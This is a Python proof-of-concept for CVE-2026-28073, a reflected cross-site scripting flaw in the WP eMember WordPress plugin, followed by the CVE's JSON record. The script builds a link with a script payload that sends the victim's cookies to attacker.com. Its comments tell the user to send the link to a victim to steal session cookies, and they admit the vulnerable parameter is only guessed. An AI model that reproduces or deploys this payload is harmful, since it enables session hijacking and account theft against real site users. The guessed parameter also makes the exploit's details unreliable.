CVE-2026-28073

import urllib.parse # CVE-2026-28073 PoC - WP eMember Reflected XSS # Target: WordPress site with WP eMember plugin <= v10.2.2 def generate_xss_payload(): """ Generate malicious URL with XSS payload Replace TARGET_URL with the vulnerable WordPress site URL """ # XSS payload - steals cookie and sends to attacker controlled server xss_payload = '<script>fetch("https://attacker.com/log?c="+document.cookie)</script>' # URL encode the payload encoded_payload = urllib.parse.quote(xss_payload) # Common vulnerable endpoints in WP eMember # Replace 'page_id' or 'eMember_id' with actual vulnerable parameter target_url = "https://target-wordpress-site.com/" malicious_url = f"{target_url}?eMember_id={encoded_payload}" print(f"Malicious URL: {malicious_url}") print(f"\nSend this URL to the victim to steal their session cookies") return malicious_url if __name__ == "__main__": generate_xss_payload()

{"cve": {"id": "CVE-2026-28073", "sourceIdentifier": "[email protected]", "published": "2026-03-19T06:16:26.550", "lastModified": "2026-04-28T19:37:26.453", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Tips and Tricks HQ WP eMember allows Reflected XSS.This issue affects WP eMember: from n/a through v10.2.2."}, {"lang": "es", "value": "Vulnerabilidad de Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') en Tips and Tricks HQ WP eMember permite XSS Reflejado. Este problema afecta a WP eMember: desde n/d hasta v10.2.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/wp-emember/vulnerability/wordpress-wp-emember-theme-v10-2-2-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}